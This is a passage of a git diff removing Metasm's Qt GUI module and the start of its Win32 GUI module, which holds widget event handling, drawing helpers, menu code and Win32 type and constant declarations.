- @color = {} - @default_color_association = {:background => :palegrey} - - if a.last.kind_of? Qt::Widget - super(a.last) - else - super() - end - - { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f00', :darkred => '800', :palered => 'fcc', - :green => '0f0', :darkgreen => '080', :palegreen => 'cfc', - :blue => '00f', :darkblue => '008', :paleblue => 'ccf', - :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc', - }.each { |tag, val| @color[tag] = color(val) } - - initialize_widget(*a) - set_auto_fill_background true - set_color_association @default_color_association - set_focus_policy Qt::StrongFocus - - initialize_visible if respond_to? :initialize_visible - - set_font 'courier 10' - end - - def keyPressEvent(key) - val = key.key >= 128 ? Keyboard_trad[key.key] : key.text[0].ord # must use text[0] to differenciate downcase/upcase - if key.modifiers.to_i & Qt::ControlModifier.to_i > 0 # AONETHUAAAAAAAAAAAAAAA - protect { keypress_ctrl(val) } if respond_to? :keypress_ctrl - else - protect { keypress(val) } if respond_to? :keypress - end - end - - def mousePressEvent(ev) - if ev.modifiers.to_i & Qt::ControlModifier.to_i > 0 - protect { click_ctrl(ev.x, ev.y) } if respond_to? :click_ctrl - else - if ev.button == Qt::LeftButton - protect { click(ev.x, ev.y) } - elsif ev.button == Qt::RightButton - protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick - end - end - end - - def mouseDoubleClickEvent(ev) - protect { doubleclick(ev.x, ev.y) } if respond_to? :doubleclick - end - - def mouseReleaseEvent(ev) - if ev.button == Qt::LeftButton - protect { mouserelease(ev.x, ev.y) } if respond_to? :mouserelease - end - end - - def mouseMoveEvent(ev) - if ev.modifiers.to_i & Qt::ControlModifier.to_i > 0 - protect { mousemove_ctrl(ev.x, ev.y) } if respond_to? :mousemove_ctrl - else - protect { mousemove(ev.x, ev.y) } if respond_to? :mousemove - end - end - - def wheelEvent(ev) - dir = ev.delta > 0 ? :up : :down - if ev.modifiers.to_i & Qt::ControlModifier.to_i > 0 - protect { mouse_wheel_ctrl(dir, ev.x, ev.y) } if respond_to? :mouse_wheel_ctrl - else - protect { mouse_wheel(dir, ev.x, ev.y) } if respond_to? :mouse_wheel - end - end - - def resizeEvent(ev) - protect { resized(ev.size.width, ev.size.height) } if respond_to? :resized - end - - def grab_focus; set_focus end - - def paintEvent(*a) - @painter = Qt::Painter.new(self) - protect { paint } - @painter.end - @painter = nil - end - - def paint - end - - def gui_update - redraw - end - - # create a color from a 'rgb' description - def color(val) - @color[val] ||= Qt::Color.new(*val.unpack('CCC').map { |c| (c.chr*2).hex }) - end - - def set_caret_from_click(x, y) - @caret_x = (x-1).to_i / @font_width - @caret_y = y.to_i / @font_height - update_caret - end - - # change the font of the widget - # arg is a Gtk Fontdescription string (eg 'courier 10') - def set_font(descr) - descr, sz = descr.split - super(Qt::Font.new(descr, sz.to_i)) - @font_width = font_metrics.width('x') - @font_height = font_metrics.line_spacing - @font_descent = font_metrics.descent - gui_update - end - - # change the color association - # arg is a hash function symbol => color symbol - # color must be allocated - # check #initialize/sig('realize') for initial function/color list - def set_color_association(hash) - hash.each { |k, v| @color[k] = color(v) } - #set_background_role Qt::Palette::Window(color(:background)) - palette.set_color(Qt::Palette::Window, color(:background)) - gui_update - end - - # update @hl_word from a line & offset, return nil if unchanged - def update_hl_word(line, offset, mode=:asm) - return if not line - word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] - word = nil if word == '' - if @hl_word != word - if word - if mode == :asm and defined?(@dasm) and @dasm - re = @dasm.gui_hilight_word_regexp(word) - else - re = Regexp.escape word - end - @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ - end - @hl_word = word - end - end - - # invalidate the whole widget area - def redraw - invalidate(0, 0, 1000000, 1000000) - end - - def invalidate_caret(cx, cy, x=0, y=0) - invalidate(x + cx*@font_width, y + cy*@font_height, 2, @font_height) - end - - def invalidate(x, y, w, h) - update x, y, w, h - end - - def resized(w, h) - redraw - end - - def keypress(key) - end - - def keypress_ctrl(key) - end - - def draw_color(col) - @col = color(col) - @painter.set_brush Qt::Brush.new(@col) - @painter.set_pen Qt::Pen.new(@col) - end - - def draw_rectangle(x, y, w, h) - @painter.fill_rect(x, y, w, h, @col) - end - - def draw_rectangle_color(col, x, y, w, h) - draw_color(col) - draw_rectangle(x, y, w, h) - end - - def draw_line(x, y, ex, ey) - @painter.draw_line(x, y, ex, ey) - end - - def draw_line_color(col, x, y, ex, ey) - draw_color(col) - draw_line(x, y, ex, ey) - end - - def draw_string(x, y, str) - @painter.draw_text(x, y-@font_descent, str) - end - - def draw_string_color(col, x, y, str) - draw_color(col) - draw_string(x, y, str) - end -end - -class Window < Qt::MainWindow - include Msgbox - - attr_accessor :menu - def initialize(*a) - super() - - #connect(self, SIGNAL(:destroy)) { destroy_window } - - @menu = menu_bar - - screen = Qt::Application.desktop - resize screen.width*3/4, screen.height*3/4 - - initialize_window(*a) - build_menu - - show - end - - def build_menu - end - - def destroy_window - end - - def widget=(w) - set_central_widget w - end - - def title=(t); set_window_title(t) end - def title; window_title end - - def new_menu - Qt::Menu.new - end - - def addsubmenu(menu, *args) - accel = args.grep(/^\^?(\w|<\w+>)$/).first - args.delete accel if accel - check = args.delete :check - submenu = args.grep(Qt::Menu).first - args.delete submenu if submenu - if label = args.shift - label = label.capitalize if label == label.upcase # TODO icon on OPEN/CLOSE etc - label = label.gsub('_', '&') - end - - if submenu - submenu.title = label - menu.add_menu submenu - return - end - - if check - # TODO - #item = Gtk::CheckMenuItem.new(label) - #item.active = args.shift - item = Qt::Action.new(label, self) - menu.add_action item - elsif label - item = Qt::Action.new(label, self) - menu.add_action item - else - menu.add_separator - end - item.setShortcut accel.sub('^', 'Ctrl+') - - connect(item, SIGNAL(:triggered)) { protect { yield(item) } } if block_given? - - item - end -end - -@app = Qt::Application.new ARGV - -# start the GUI main loop -def self.main - @app.exec -end - -# ends the GUI main loop -def self.main_quit - @app.quit # XXX segfault.. -end - -# register a proc to be run whenever the gui loop is idle -# if the proc returns nil/false, delete it -def self.idle_add - t = Qt::Timer.new - t.connect(t, SIGNAL(:timeout)) { if not yield ; t.stop ; t = nil end } - t.start -end - -# run a single iteration of the main_loop -# e.g. call this from time to time when doing heavy computation, to keep the UI somewhat responsive -def self.main_iter - Qt::Application.process_events -end - -end -end - -require 'metasm/gui/dasm_main' -require 'metasm/gui/debug' - diff --git a/lib/metasm/metasm/gui/win32.rb b/lib/metasm/metasm/gui/win32.rb deleted file mode 100644 index ca9fb656d6..0000000000 --- a/lib/metasm/metasm/gui/win32.rb +++ /dev/null @@ -1,3141 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/dynldr' - -module Metasm -module Gui -class Win32Gui < DynLdr - new_api_c <<EOS -#line #{__LINE__} -typedef char CHAR; -typedef unsigned char BYTE; -typedef unsigned short WORD; -typedef unsigned int UINT; -typedef long LONG; -typedef unsigned long ULONG, DWORD; -typedef int BOOL; - -typedef intptr_t INT_PTR, LONG_PTR; -typedef uintptr_t UINT_PTR, ULONG_PTR, DWORD_PTR; -typedef LONG_PTR LPARAM; -typedef UINT_PTR WPARAM; -typedef LONG_PTR LRESULT; -typedef const CHAR *LPSTR, *LPCSTR; -typedef void VOID, *PVOID, *LPVOID; - -typedef WORD ATOM; -typedef void *HANDLE; -typedef void *HBITMAP; -typedef void *HBRUSH; -typedef void *HCURSOR; -typedef void *HDC; -typedef void *HICON; -typedef void *HINSTANCE; -typedef void *HMENU; -typedef void *HMODULE; -typedef void *HPEN; -typedef void *HWND; - -#define DECLSPEC_IMPORT __declspec(dllimport) -#define WINUSERAPI DECLSPEC_IMPORT -#define WINAPI __stdcall -#define CALLBACK __stdcall -#define CONST const -#define __in __attribute__((in)) -#define __out __attribute__((out)) -#define __opt __attribute__((opt)) -#define __inout __in __out -#define __in_opt __in __opt -#define __out_opt __out __opt -#define __in_ecount(c) __in -#define __out_ecount(c) __out -#define __inout_ecount(c) __inout - -#define CW_USEDEFAULT ((int)0x80000000) - -#define WS_OVERLAPPED 0x00000000L -#define WS_POPUP 0x80000000L -#define WS_CHILD 0x40000000L -#define WS_MINIMIZE 0x20000000L -#define WS_VISIBLE 0x10000000L -#define WS_DISABLED 0x08000000L -#define WS_CLIPSIBLINGS 0x04000000L -#define WS_CLIPCHILDREN 0x02000000L -#define WS_MAXIMIZE 0x01000000L -#define WS_CAPTION 0x00C00000L /* WS_BORDER | WS_DLGFRAME */ -#define WS_BORDER 0x00800000L -#define WS_DLGFRAME 0x00400000L -#define WS_VSCROLL 0x00200000L -#define WS_HSCROLL 0x00100000L -#define WS_SYSMENU 0x00080000L -#define WS_THICKFRAME 0x00040000L -#define WS_GROUP 0x00020000L -#define WS_TABSTOP 0x00010000L -#define WS_MINIMIZEBOX 0x00020000L -#define WS_MAXIMIZEBOX 0x00010000L -#define WS_TILED WS_OVERLAPPED -#define WS_ICONIC WS_MINIMIZE -#define WS_SIZEBOX WS_THICKFRAME -#define WS_TILEDWINDOW WS_OVERLAPPEDWINDOW -#define WS_OVERLAPPEDWINDOW (WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX) -#define WS_POPUPWINDOW (WS_POPUP | WS_BORDER | WS_SYSMENU) -#define WS_CHILDWINDOW (WS_CHILD) - -#define WS_EX_DLGMODALFRAME 0x00000001L -#define WS_EX_NOPARENTNOTIFY 0x00000004L -#define WS_EX_TOPMOST 0x00000008L -#define WS_EX_ACCEPTFILES 0x00000010L -#define WS_EX_TRANSPARENT 0x00000020L -#define WS_EX_MDICHILD 0x00000040L -#define WS_EX_TOOLWINDOW 0x00000080L -#define WS_EX_WINDOWEDGE 0x00000100L -#define WS_EX_CLIENTEDGE 0x00000200L -#define WS_EX_CONTEXTHELP 0x00000400L -#define WS_EX_RIGHT 0x00001000L -#define WS_EX_LEFT 0x00000000L -#define WS_EX_RTLREADING 0x00002000L -#define WS_EX_LTRREADING 0x00000000L -#define WS_EX_LEFTSCROLLBAR 0x00004000L -#define WS_EX_RIGHTSCROLLBAR 0x00000000L -#define WS_EX_CONTROLPARENT 0x00010000L -#define WS_EX_STATICEDGE 0x00020000L -#define WS_EX_APPWINDOW 0x00040000L -#define WS_EX_OVERLAPPEDWINDOW (WS_EX_WINDOWEDGE | WS_EX_CLIENTEDGE) -#define WS_EX_PALETTEWINDOW (WS_EX_WINDOWEDGE | WS_EX_TOOLWINDOW | WS_EX_TOPMOST) -#define WS_EX_LAYERED 0x00080000L -#define WS_EX_NOINHERITEDLAYOUT 0x00100000L -#define WS_EX_LAYOUTRTL 0x00400000L -#define WS_EX_COMPOSITED 0x02000000L -#define WS_EX_NOACTIVATE 0x08000000L - -#define WM_NULL 0x0000 -#define WM_CREATE 0x0001 -#define WM_DESTROY 0x0002 -#define WM_MOVE 0x0003 -#define WM_SIZE 0x0005 - -#define WM_ACTIVATE 0x0006 -#define WA_INACTIVE 0 -#define WA_ACTIVE 1 -#define WA_CLICKACTIVE 2 - -#define WM_SETFOCUS 0x0007 -#define WM_KILLFOCUS 0x0008 -#define WM_ENABLE 0x000A -#define WM_SETREDRAW 0x000B -#define WM_SETTEXT 0x000C -#define WM_GETTEXT 0x000D -#define WM_GETTEXTLENGTH 0x000E -#define WM_PAINT 0x000F -#define WM_CLOSE 0x0010 -#define WM_QUERYENDSESSION 0x0011 -#define WM_QUERYOPEN 0x0013 -#define WM_ENDSESSION 0x0016 -#define WM_QUIT 0x0012 -#define WM_ERASEBKGND 0x0014 -#define WM_SYSCOLORCHANGE 0x0015 -#define WM_SHOWWINDOW 0x0018 -#define WM_WININICHANGE 0x001A -#define WM_SETTINGCHANGE WM_WININICHANGE -#define WM_DEVMODECHANGE 0x001B -#define WM_ACTIVATEAPP 0x001C -#define WM_FONTCHANGE 0x001D -#define WM_TIMECHANGE 0x001E -#define WM_CANCELMODE 0x001F -#define WM_SETCURSOR 0x0020 -#define WM_MOUSEACTIVATE 0x0021 -#define WM_CHILDACTIVATE 0x0022 -#define WM_QUEUESYNC 0x0023 -#define WM_GETMINMAXINFO 0x0024 -typedef struct tagPOINT { - LONG x; - LONG y; -} POINT, *PPOINT, *LPPOINT; - -#define WM_PAINTICON 0x0026 -#define WM_ICONERASEBKGND 0x0027 -#define WM_NEXTDLGCTL 0x0028 -#define WM_SPOOLERSTATUS 0x002A -#define WM_DRAWITEM 0x002B -#define WM_MEASUREITEM 0x002C -#define WM_DELETEITEM 0x002D -#define WM_VKEYTOITEM 0x002E -#define WM_CHARTOITEM 0x002F -#define WM_SETFONT 0x0030 -#define WM_GETFONT 0x0031 -#define WM_SETHOTKEY 0x0032 -#define WM_GETHOTKEY 0x0033 -#define WM_QUERYDRAGICON 0x0037 -#define WM_COMPAREITEM 0x0039 -#define WM_GETOBJECT 0x003D -#define WM_COMPACTING 0x0041 -#define WM_COMMNOTIFY 0x0044 -#define WM_WINDOWPOSCHANGING 0x0046 -#define WM_WINDOWPOSCHANGED 0x0047 -#define WM_POWER 0x0048 -#define PWR_OK 1 -#define PWR_FAIL (-1) -#define PWR_SUSPENDREQUEST 1 -#define PWR_SUSPENDRESUME 2 -#define PWR_CRITICALRESUME 3 -#define WM_COPYDATA 0x004A -#define WM_CANCELJOURNAL 0x004B -#define WM_NOTIFY 0x004E -#define WM_INPUTLANGCHANGEREQUEST 0x0050 -#define WM_INPUTLANGCHANGE 0x0051 -#define WM_TCARD 0x0052 -#define WM_HELP 0x0053 -#define WM_USERCHANGED 0x0054 -#define WM_NOTIFYFORMAT 0x0055 -#define NFR_ANSI 1 -#define NFR_UNICODE 2 -#define NF_QUERY 3 -#define NF_REQUERY 4 -#define WM_CONTEXTMENU 0x007B -#define WM_STYLECHANGING 0x007C -#define WM_STYLECHANGED 0x007D -#define WM_DISPLAYCHANGE 0x007E -#define WM_GETICON 0x007F -#define WM_SETICON 0x0080 -#define WM_NCCREATE 0x0081 -#define WM_NCDESTROY 0x0082 -#define WM_NCCALCSIZE 0x0083 -#define WM_NCHITTEST 0x0084 -#define WM_NCPAINT 0x0085 -#define WM_NCACTIVATE 0x0086 -#define WM_GETDLGCODE 0x0087 -#define WM_SYNCPAINT 0x0088 -#define WM_NCMOUSEMOVE 0x00A0 -#define WM_NCLBUTTONDOWN 0x00A1 -#define WM_NCLBUTTONUP 0x00A2 -#define WM_NCLBUTTONDBLCLK 0x00A3 -#define WM_NCRBUTTONDOWN 0x00A4 -#define WM_NCRBUTTONUP 0x00A5 -#define WM_NCRBUTTONDBLCLK 0x00A6 -#define WM_NCMBUTTONDOWN 0x00A7 -#define WM_NCMBUTTONUP 0x00A8 -#define WM_NCMBUTTONDBLCLK 0x00A9 -#define WM_NCXBUTTONDOWN 0x00AB -#define WM_NCXBUTTONUP 0x00AC -#define WM_NCXBUTTONDBLCLK 0x00AD -#define WM_INPUT 0x00FF -#define WM_KEYFIRST 0x0100 -#define WM_KEYDOWN 0x0100 -#define WM_KEYUP 0x0101 -#define WM_CHAR 0x0102 -#define WM_DEADCHAR 0x0103 -#define WM_SYSKEYDOWN 0x0104 -#define WM_SYSKEYUP 0x0105 -#define WM_SYSCHAR 0x0106 -#define WM_SYSDEADCHAR 0x0107 -#define WM_UNICHAR 0x0109 -#define WM_KEYLAST 0x0109 -#define UNICODE_NOCHAR 0xFFFF -#define WM_IME_STARTCOMPOSITION 0x010D -#define WM_IME_ENDCOMPOSITION 0x010E -#define WM_IME_COMPOSITION 0x010F -#define WM_IME_KEYLAST 0x010F - -#define WM_INITDIALOG 0x0110 -#define WM_COMMAND 0x0111 -#define WM_SYSCOMMAND 0x0112 -#define WM_TIMER 0x0113 -#define WM_HSCROLL 0x0114 -#define WM_VSCROLL 0x0115 -#define WM_INITMENU 0x0116 -#define WM_INITMENUPOPUP 0x0117 -#define WM_MENUSELECT 0x011F -#define WM_MENUCHAR 0x0120 -#define WM_ENTERIDLE 0x0121 -#define WM_MENURBUTTONUP 0x0122 -#define WM_MENUDRAG 0x0123 -#define WM_MENUGETOBJECT 0x0124 -#define WM_UNINITMENUPOPUP 0x0125 -#define WM_MENUCOMMAND 0x0126 -#define WM_CHANGEUISTATE 0x0127 -#define WM_UPDATEUISTATE 0x0128 -#define WM_QUERYUISTATE 0x0129 -#define UIS_SET 1 -#define UIS_CLEAR 2 -#define UIS_INITIALIZE 3 -#define UISF_HIDEFOCUS 0x1 -#define UISF_HIDEACCEL 0x2 -#define WM_CTLCOLORMSGBOX 0x0132 -#define WM_CTLCOLOREDIT 0x0133 -#define WM_CTLCOLORLISTBOX 0x0134 -#define WM_CTLCOLORBTN 0x0135 -#define WM_CTLCOLORDLG 0x0136 -#define WM_CTLCOLORSCROLLBAR 0x0137 -#define WM_CTLCOLORSTATIC 0x0138 -#define MN_GETHMENU 0x01E1 -#define WM_MOUSEFIRST 0x0200 -#define WM_MOUSEMOVE 0x0200 -#define WM_LBUTTONDOWN 0x0201 -#define WM_LBUTTONUP 0x0202 -#define WM_LBUTTONDBLCLK 0x0203 -#define WM_RBUTTONDOWN 0x0204 -#define WM_RBUTTONUP 0x0205 -#define WM_RBUTTONDBLCLK 0x0206 -#define WM_MBUTTONDOWN 0x0207 -#define WM_MBUTTONUP 0x0208 -#define WM_MBUTTONDBLCLK 0x0209 -#define WM_MOUSEWHEEL 0x020A -#define WM_XBUTTONDOWN 0x020B -#define WM_XBUTTONUP 0x020C -#define WM_XBUTTONDBLCLK 0x020D -#define WHEEL_DELTA 120 - -#define WHEEL_PAGESCROLL (UINT_MAX) -#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)HIWORD(wParam)) -#define GET_KEYSTATE_WPARAM(wParam) (LOWORD(wParam)) -#define GET_NCHITTEST_WPARAM(wParam) ((short)LOWORD(wParam)) -#define GET_XBUTTON_WPARAM(wParam) (HIWORD(wParam)) - -#define XBUTTON1 0x0001 -#define XBUTTON2 0x0002 - -#define WM_PARENTNOTIFY 0x0210 -#define WM_ENTERMENULOOP 0x0211 -#define WM_EXITMENULOOP 0x0212 -#define WM_NEXTMENU 0x0213 -#define WM_SIZING 0x0214 -#define WM_CAPTURECHANGED 0x0215 -#define WM_MOVING 0x0216 -#define WM_DEVICECHANGE 0x0219 -#define WM_MDICREATE 0x0220 -#define WM_MDIDESTROY 0x0221 -#define WM_MDIACTIVATE 0x0222 -#define WM_MDIRESTORE 0x0223 -#define WM_MDINEXT 0x0224 -#define WM_MDIMAXIMIZE 0x0225 -#define WM_MDITILE 0x0226 -#define WM_MDICASCADE 0x0227 -#define WM_MDIICONARRANGE 0x0228 -#define WM_MDIGETACTIVE 0x0229 -#define WM_MDISETMENU 0x0230 -#define WM_ENTERSIZEMOVE 0x0231 -#define WM_EXITSIZEMOVE 0x0232 -#define WM_DROPFILES 0x0233 -#define WM_MDIREFRESHMENU 0x0234 -#define WM_IME_SETCONTEXT 0x0281 -#define WM_IME_NOTIFY 0x0282 -#define WM_IME_CONTROL 0x0283 -#define WM_IME_COMPOSITIONFULL 0x0284 -#define WM_IME_SELECT 0x0285 -#define WM_IME_CHAR 0x0286 -#define WM_IME_REQUEST 0x0288 -#define WM_IME_KEYDOWN 0x0290 -#define WM_IME_KEYUP 0x0291 -#define WM_NCMOUSEHOVER 0x02A0 -#define WM_MOUSEHOVER 0x02A1 -#define WM_NCMOUSELEAVE 0x02A2 -#define WM_MOUSELEAVE 0x02A3 -#define WM_WTSSESSION_CHANGE 0x02B1 -#define WM_TABLET_FIRST 0x02c0 -#define WM_TABLET_LAST 0x02df -#define WM_CUT 0x0300 -#define WM_COPY 0x0301 -#define WM_PASTE 0x0302 -#define WM_CLEAR 0x0303 -#define WM_UNDO 0x0304 -#define WM_RENDERFORMAT 0x0305 -#define WM_RENDERALLFORMATS 0x0306 -#define WM_DESTROYCLIPBOARD 0x0307 -#define WM_DRAWCLIPBOARD 0x0308 -#define WM_PAINTCLIPBOARD 0x0309 -#define WM_VSCROLLCLIPBOARD 0x030A -#define WM_SIZECLIPBOARD 0x030B -#define WM_ASKCBFORMATNAME 0x030C -#define WM_CHANGECBCHAIN 0x030D -#define WM_HSCROLLCLIPBOARD 0x030E -#define WM_QUERYNEWPALETTE 0x030F -#define WM_PALETTEISCHANGING 0x0310 -#define WM_PALETTECHANGED 0x0311 -#define WM_HOTKEY 0x0312 -#define WM_PRINT 0x0317 -#define WM_PRINTCLIENT 0x0318 -#define WM_APPCOMMAND 0x0319 -#define WM_THEMECHANGED 0x031A -#define WM_HANDHELDFIRST 0x0358 -#define WM_HANDHELDLAST 0x035F -#define WM_AFXFIRST 0x0360 -#define WM_AFXLAST 0x037F -#define WM_PENWINFIRST 0x0380 -#define WM_PENWINLAST 0x038F -#define WM_USER 0x0400 -#define WM_APP 0x8000 - -#define WMSZ_LEFT 1 -#define WMSZ_RIGHT 2 -#define WMSZ_TOP 3 -#define WMSZ_TOPLEFT 4 -#define WMSZ_TOPRIGHT 5 -#define WMSZ_BOTTOM 6 -#define WMSZ_BOTTOMLEFT 7 -#define WMSZ_BOTTOMRIGHT 8 - -#define SWP_NOSIZE 0x0001 -#define SWP_NOMOVE 0x0002 -#define SWP_NOZORDER 0x0004 -#define SWP_NOREDRAW 0x0008 -#define SWP_NOACTIVATE 0x0010 -#define SWP_FRAMECHANGED 0x0020 /* The frame changed: send WM_NCCALCSIZE */ -#define SWP_SHOWWINDOW 0x0040 -#define SWP_HIDEWINDOW 0x0080 -#define SWP_NOCOPYBITS 0x0100 -#define SWP_NOOWNERZORDER 0x0200 /* Don't do owner Z ordering */ -#define SWP_NOSENDCHANGING 0x0400 /* Don't send WM_WINDOWPOSCHANGING */ -#define SWP_DRAWFRAME SWP_FRAMECHANGED -#define SWP_NOREPOSITION SWP_NOOWNERZORDER -#define SWP_DEFERERASE 0x2000 -#define SWP_ASYNCWINDOWPOS 0x4000 - -#define HWND_TOP 0 -#define HWND_BOTTOM 1 -#define HWND_TOPMOST -1 -#define HWND_NOTOPMOST -2 - -#define SIZE_RESTORED 0 -#define SIZE_MINIMIZED 1 -#define SIZE_MAXIMIZED 2 -#define SIZE_MAXSHOW 3 -#define SIZE_MAXHIDE 4 - -#define MK_LBUTTON 0x0001 -#define MK_RBUTTON 0x0002 -#define MK_SHIFT 0x0004 -#define MK_CONTROL 0x0008 -#define MK_MBUTTON 0x0010 -#define MK_XBUTTON1 0x0020 -#define MK_XBUTTON2 0x0040 - -typedef struct tagTRACKMOUSEEVENT { - DWORD cbSize; - DWORD dwFlags; - HWND hwndTrack; - DWORD dwHoverTime; -} TRACKMOUSEEVENT, *LPTRACKMOUSEEVENT; - -WINUSERAPI -BOOL -WINAPI -TrackMouseEvent( - __inout LPTRACKMOUSEEVENT lpEventTrack); - -#define FVIRTKEY TRUE /* Assumed to be == TRUE */ -#define FNOINVERT 0x02 -#define FSHIFT 0x04 -#define FCONTROL 0x08 -#define FALT 0x10 - -#define FALSE 0 -#define TRUE 1 - -#define SW_HIDE 0 -#define SW_SHOWNORMAL 1 -#define SW_NORMAL 1 -#define SW_SHOWMINIMIZED 2 -#define SW_SHOWMAXIMIZED 3 -#define SW_MAXIMIZE 3 -#define SW_SHOWNOACTIVATE 4 -#define SW_SHOW 5 -#define SW_MINIMIZE 6 -#define SW_SHOWMINNOACTIVE 7 -#define SW_SHOWNA 8 -#define SW_RESTORE 9 -#define SW_SHOWDEFAULT 10 -#define SW_FORCEMINIMIZE 11 -#define SW_MAX 11 - -#define CS_VREDRAW 0x0001 -#define CS_HREDRAW 0x0002 -#define CS_DBLCLKS 0x0008 -#define CS_OWNDC 0x0020 -#define CS_CLASSDC 0x0040 -#define CS_PARENTDC 0x0080 -#define CS_NOCLOSE 0x0200 -#define CS_SAVEBITS 0x0800 -#define CS_BYTEALIGNCLIENT 0x1000 -#define CS_BYTEALIGNWINDOW 0x2000 -#define CS_GLOBALCLASS 0x4000 -#define CS_IME 0x00010000 -#define CS_DROPSHADOW 0x00020000 - -#define MF_INSERT 0x00000000L -#define MF_CHANGE 0x00000080L -#define MF_APPEND 0x00000100L -#define MF_DELETE 0x00000200L -#define MF_REMOVE 0x00001000L -#define MF_BYCOMMAND 0x00000000L -#define MF_BYPOSITION 0x00000400L -#define MF_SEPARATOR 0x00000800L -#define MF_ENABLED 0x00000000L -#define MF_GRAYED 0x00000001L -#define MF_DISABLED 0x00000002L -#define MF_UNCHECKED 0x00000000L -#define MF_CHECKED 0x00000008L -#define MF_USECHECKBITMAPS 0x00000200L -#define MF_STRING 0x00000000L -#define MF_BITMAP 0x00000004L -#define MF_OWNERDRAW 0x00000100L -#define MF_POPUP 0x00000010L -#define MF_MENUBARBREAK 0x00000020L -#define MF_MENUBREAK 0x00000040L -#define MF_UNHILITE 0x00000000L -#define MF_HILITE 0x00000080L -#define MF_DEFAULT 0x00001000L -#define MF_SYSMENU 0x00002000L -#define MF_HELP 0x00004000L -#define MF_RIGHTJUSTIFY 0x00004000L -#define MF_MOUSESELECT 0x00008000L - -#define IDI_APPLICATION 32512 -#define IDI_HAND 32513 -#define IDI_QUESTION 32514 -#define IDI_EXCLAMATION 32515 -#define IDI_ASTERISK 32516 -#define IDI_WINLOGO 32517 - -#define MB_OK 0x00000000L -#define MB_OKCANCEL 0x00000001L -#define MB_ABORTRETRYIGNORE 0x00000002L -#define MB_YESNOCANCEL 0x00000003L -#define MB_YESNO 0x00000004L -#define MB_RETRYCANCEL 0x00000005L -#define MB_CANCELTRYCONTINUE 0x00000006L -#define MB_ICONHAND 0x00000010L -#define MB_ICONQUESTION 0x00000020L -#define MB_ICONEXCLAMATION 0x00000030L -#define MB_ICONASTERISK 0x00000040L -#define MB_USERICON 0x00000080L -#define MB_ICONWARNING MB_ICONEXCLAMATION -#define MB_ICONERROR MB_ICONHAND -#define MB_ICONINFORMATION MB_ICONASTERISK -#define MB_ICONSTOP MB_ICONHAND -#define MB_DEFBUTTON1 0x00000000L -#define MB_DEFBUTTON2 0x00000100L -#define MB_DEFBUTTON3 0x00000200L -#define MB_DEFBUTTON4 0x00000300L -#define MB_APPLMODAL 0x00000000L -#define MB_SYSTEMMODAL 0x00001000L -#define MB_TASKMODAL 0x00002000L -#define MB_HELP 0x00004000L -#define MB_NOFOCUS 0x00008000L -#define MB_SETFOREGROUND 0x00010000L -#define MB_DEFAULT_DESKTOP_ONLY 0x00020000L -#define MB_TOPMOST 0x00040000L -#define MB_RIGHT 0x00080000L -#define MB_RTLREADING 0x00100000L -#define MB_SERVICE_NOTIFICATION 0x00200000L -#define MB_SERVICE_NOTIFICATION_NT3X 0x00040000L - -#define IDOK 1 -#define IDCANCEL 2 -#define IDABORT 3 -#define IDRETRY 4 -#define IDIGNORE 5 -#define IDYES 6 -#define IDNO 7 -#define IDCLOSE 8 -#define IDHELP 9 -#define IDTRYAGAIN 10 -#define IDCONTINUE 11 -#define IDTIMEOUT 32000 - -#define PM_NOREMOVE 0 -#define PM_REMOVE 1 -#define PM_NOYIELD 2 - -#define IDC_ARROW 32512 -#define IDC_IBEAM 32513 -#define IDC_WAIT 32514 -#define IDC_CROSS 32515 -#define IDC_UPARROW 32516 -#define IDC_SIZE 32640 -#define IDC_ICON 32641 -#define IDC_SIZENWSE 32642 -#define IDC_SIZENESW 32643 -#define IDC_SIZEWE 32644 -#define IDC_SIZENS 32645 -#define IDC_SIZEALL 32646 -#define IDC_NO 32648 -#define IDC_HAND 32649 -#define IDC_APPSTARTING 32650 -#define IDC_HELP 32651 - -#define WHITE_BRUSH 0 -#define LTGRAY_BRUSH 1 -#define GRAY_BRUSH 2 -#define DKGRAY_BRUSH 3 -#define BLACK_BRUSH 4 -#define NULL_BRUSH 5 -#define HOLLOW_BRUSH NULL_BRUSH -#define WHITE_PEN 6 -#define BLACK_PEN 7 -#define NULL_PEN 8 -#define OEM_FIXED_FONT 10 -#define ANSI_FIXED_FONT 11 -#define ANSI_VAR_FONT 12 -#define SYSTEM_FONT 13 -#define DEVICE_DEFAULT_FONT 14 -#define DEFAULT_PALETTE 15 -#define SYSTEM_FIXED_FONT 16 -#define DEFAULT_GUI_FONT 17 -#define DC_BRUSH 18 -#define DC_PEN 19 - -#define VK_LBUTTON 0x01 -#define VK_RBUTTON 0x02 -#define VK_CANCEL 0x03 -#define VK_MBUTTON 0x04 -#define VK_XBUTTON1 0x05 -#define VK_XBUTTON2 0x06 -#define VK_BACK 0x08 -#define VK_TAB 0x09 -#define VK_CLEAR 0x0C -#define VK_RETURN 0x0D -#define VK_SHIFT 0x10 -#define VK_CONTROL 0x11 -#define VK_MENU 0x12 -#define VK_PAUSE 0x13 -#define VK_CAPITAL 0x14 -#define VK_ESCAPE 0x1B -#define VK_CONVERT 0x1C -#define VK_NONCONVERT 0x1D -#define VK_ACCEPT 0x1E -#define VK_MODECHANGE 0x1F -#define VK_SPACE 0x20 -#define VK_PRIOR 0x21 -#define VK_NEXT 0x22 -#define VK_END 0x23 -#define VK_HOME 0x24 -#define VK_LEFT 0x25 -#define VK_UP 0x26 -#define VK_RIGHT 0x27 -#define VK_DOWN 0x28 -#define VK_SELECT 0x29 -#define VK_PRINT 0x2A -#define VK_EXECUTE 0x2B -#define VK_SNAPSHOT 0x2C -#define VK_INSERT 0x2D -#define VK_DELETE 0x2E -#define VK_HELP 0x2F -// VK_0 - VK_9 are the same as ASCII '0' - '9' (0x30 - 0x39) -// VK_A - VK_Z are the same as ASCII 'A' - 'Z' (0x41 - 0x5A) -#define VK_LWIN 0x5B -#define VK_RWIN 0x5C -#define VK_APPS 0x5D -#define VK_SLEEP 0x5F -#define VK_NUMPAD0 0x60 -#define VK_NUMPAD1 0x61 -#define VK_NUMPAD2 0x62 -#define 